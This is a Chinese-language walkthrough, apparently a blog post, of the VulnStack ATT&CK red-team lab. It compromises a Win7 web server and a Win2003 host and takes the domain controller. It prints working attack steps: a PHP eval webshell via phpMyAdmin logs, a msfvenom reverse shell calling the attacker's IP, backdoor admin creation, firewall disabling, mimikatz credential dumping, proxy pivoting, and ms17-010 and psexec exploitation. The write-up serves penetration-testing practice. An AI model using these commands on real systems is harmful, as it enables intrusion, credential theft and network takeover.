【红日安全-VulnStack】ATT&CK实战系列——红队实战(—)
一、环境搭建
1.1 靶场下载
靶机通用密码: hongrisec@2019
登进去要修改密码,改为 HONGRISEC@2019
1.2 网卡配置
kali一个nat网卡,模拟外网攻击机
win7一个nat网卡,一个VMnet 1网卡,模拟web服务器
win2003一个VMnet 1网卡,模拟内网域成员主机
win2008一个VMnet 1网卡,模拟内网域控主机
拓朴图如下:
(win7为VM1,win2003为VM2,win2008为VM3)
设置完毕后VM1、VM2、VM3就在同一内网中了,只有VM1web服务器能够访问内网,所以要想访问win2008和win2003服务器必须要先拿下win7服务器,用它做跳板进内网进行横向渗透。
攻击机:
kali ip:192.168.168.133
win10 ip: 192.168.168.128
靶机:
win7 外网ip:192.168.168.134 内网ip:192.168.52.143
win03 ip: 192.168.52.141
win08 ip: 192.168.52.138
最后,在win7上使用phpstudy开启web服务。
配置完毕。
二、外网渗透
nmap扫描,发现开放了80、3306端口
目录扫描
先看一下phpmyadmin,访问,可以弱口令root/root登入
可以利用general_log和general_log_file拿shell
服务器绝对路径可以在phpinfo里找到
修改general_log_file为Web服务下的文件
此时执行 select "<?php eval($_POST['cmd']);?>"; 语句即可getshell
现在就已经拿到shell了。不过,我们现在还不着急往下走,基于学习的目的,我们看一下扫到的备份文件:
备份了yxcms的源代码,可以猜测目标网站服务器上搭建了yxcms,访问http://192.168.168.134/yxcms/
然后可以在互联网上搜索一下yxcms的历史漏洞,看一下能不能利用。
不过,这里比较简单,直接告诉了我们后台地址和密码
在前台模板->管理模板文件->index_index.php处可编辑,插入PHP代码
这样第二种getshell的方式也出来了。
现在开始往下走。
三、内网渗透
3、1 尝试远程登录
查看当前用户权限,因为一般拿下window的话都会尝试去连接它的远程桌面,所以再查看一下3389端口开放情况
手动开启3389:
我们使用以下命令开启它(win7、win2003、winxp),运行后显示3389端口已经成功开启(关闭命令把如下0都换成1):
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
添加用户
net user Yokan !@#123qwe!@# /add # 添加账户密码
net localgroup administrators Yokan /add # 给Yokan账户添加为管理员权限
net user Yokan # 查询是否成功添加Yokan用户
使用账号:Yokan,密码:!@#123qwe!@# 登录远程桌面。但是登陆失败,nmap扫描3389端口发现状态为filtered。查看win7,防火墙开启了阻止所有与未在允许程序列表中的程序的连接,换句话说,设置了白名单,只能本地连接。
此时思路一般如下:
1.反弹一个msf的shell回来,尝试关闭防火墙
2.尝试使用隧道连接3389
因为是练习,所以两种方式都尝试一下
3.2 msf反弹shell
使用msfvenom生成payload文件,使用蚁剑上传到win7
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.168.133 LHOST=4444 -f exe > shell.exe
msf开启监听,运行shell.exe,可以看到msf成功获得一个meterpreter
尝试基础提权成功
开启远程桌面
run post/windows/manage/enable_rdp

会生成一个文件,该文件可用来 再关闭远程桌面
run multi_console_command -r 文件地址

3.3 使用隧道连接3389
尝试第二种方式连接3389,在Sunny-Ngrok的官网 https://www.ngrok.cc/ 注册一个账号(可以通过这个软件实现使用外链访问电脑本地项目的功能),登录之后选择隧道管理->开通隧道->选择一个服务器(frp或者ngrok)->开通隧道并获得一个隧道id->下载客户端->打开客户端启动工具->输入隧道id->本地远程登录。
开通隧道时隧道名称随意写,本地端口写想要转发出去的计算机ip及端口(可以为局域网内任意机器映射,这里填入想要转发的win7的ip及端口)

打开Sunny-Ngrok启动工具,输入隧道id,显示成功连接
本地填入域名端口远程连接,可以成功登陆,关闭防火墙(Sunny-Ngrok启动工具需要一直开着)
使用netsh advfirewall set allprofiles state off来关闭防火墙

因为远程登录会断开该主机当前的连接,为了不惊动管理员,这里不远程登录了
3.4使用mimikatz获取账号密码
方法一 蚁剑直接上传mimikatz

方法二 meterpreter
加载mimikatz模块,加载模块前需要先将meterpreter迁移到64位的进程,而且该进程也需要是system权限运行的
1 2 3 | migrate PID load mimikatz mimikatz_command -f sekurlsa::searchPasswords |
ps命令查看进程ID,一般选择explorer.exe对应的PID,但是这里它不是system权限,选择注入其他合法进程
成功获得账号 Administrator 密码 HONGRISEC@2019

3.5 派生Cobalt Strike权限
3.6 域信息收集
ipconfig /all看到有内网ip,有域
查询域列表 net view /domain
查询同域机器 net view
判断主域 net time /domain
查询域用户 net user /domain
查询当前计算机名、计算机全名、用户名、工作站、软件版本、工作站域、工作站域 DNS 名称、登录域 net config Workstation
当前域中的计算机列表: 在cs中执行net view
整理一下信息
域:god.org
域内有三个用户:Administrator、ligang、liukaifeng01
域内三台主机:ROOT-TVI862UBEH(192.168.52.141)、STU1(win7)、OWA
域控:OWA(192.168.52.138)
win7内网ip:192.168.52.143
四、横向移动
4.1 添加路由、挂socks4a代理
添加路由的目的是为了让MSF其他模块能访问内网的其他主机,即52网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递
添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务
(添加路由一定要在挂代理之前,因为代理需要用到路由功能)
添加内网路由 run autoroute -s 192.168.52.0/24
arp -a查看一下所有接口的当前 ARP 缓存表
设置代理,设置成功后打开其他程序需在前面加上proxychains
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | meterpreter > background [*] Backgrounding session 1... msf5 exploit(multi/handler) > use auxiliary/server/socks4a msf5 auxiliary(server/socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 1080 yes The port to listen on . Auxiliary action: Name Description ---- ----------- Proxy msf5 auxiliary(server/socks4a) > set SRVPORT 1080 SRVPORT => 1080 msf5 auxiliary(server/socks4a) > run [*] Auxiliary module running as background job 0. [*] Starting the socks4a proxy server |
然后打开/etc/proxychains.conf

测试一下可以成功访问192.168.52.0网段

4.2 拿下第二台主机
nmap扫描一下: 有防火墙(-PN、-sT必须加),具体我也不清楚为什么要-Pn -sT
proxychains nmap -p 0-1000 -Pn -sT 192.168.52.141

proxychains nmap -p 3389 -Pn -sT 192.168.52.141
proxychains nmap -Pn -sT 192.168.52.141
开放了445端口,所以利用 use auxiliary/scanner/smb/smb_version 可以扫描系统版本,扫描结果是win2003
使用nmap --script=vuln 192.168.52.141 扫一下漏洞
使用msf辅助模块进行扫描,查看是否存在ms17-010漏洞
三台机器都存在ms17-010
先看server2003这台主机
直接使用ms17-010打一个shell回来(这里要注意一下,msf内置的17-010打2003有时候多次执行后msf就接收不到session,而且ms17-010利用时,脆弱的server 2003非常容易蓝屏)
而且使用msf的代理之后就不能使用反向shell了,我们需要使用正向shell。
这里,我们可以先使用auxiliary/admin/smb/ms17_010_command来执行一些命令
1 2 3 4 5 6 7 8 9 | use auxiliary/admin/smb/ms17_010_command show options set RHOSTS 192.168.52.141 set command net user Yokan !@#123qwe!@# /add #添加用户 run #成功执行 set command net localgroup administrators Yokan /add #管理员权限 run #成功执行 set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' run #成功执行 |
这里特别注意,因为开启3389端口命令中有两个双引号,如果整条命令外面不用单引号扩一下,会出现一些符号闭合上的问题
然后使用proxychains连接 proxychains rdesktop 192.168.52.141
然后使用exploit/windows/smb/ms17_010_psexec 尝试去打一个shell回来
正向shell

因为是2003的机器,直接getsystem便得到了system权限
4.3 拿下域控
在前面我们已经拿到了域用户的帐号密码,即administrator、HONGRISEC@2019我们现在要做的就是如何登录到域控上去
定位到域控制器的ip为192.168.52.138
还是先利用smb扫描系统版本 auxiliary/scanner/smb/smb_version

因为之前抓到了域管理的账号密码所以直接使用 exploit/windows/smb/psexec 模块拿下域控,且是管理员权限
参考:
永远相信 永远热爱
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?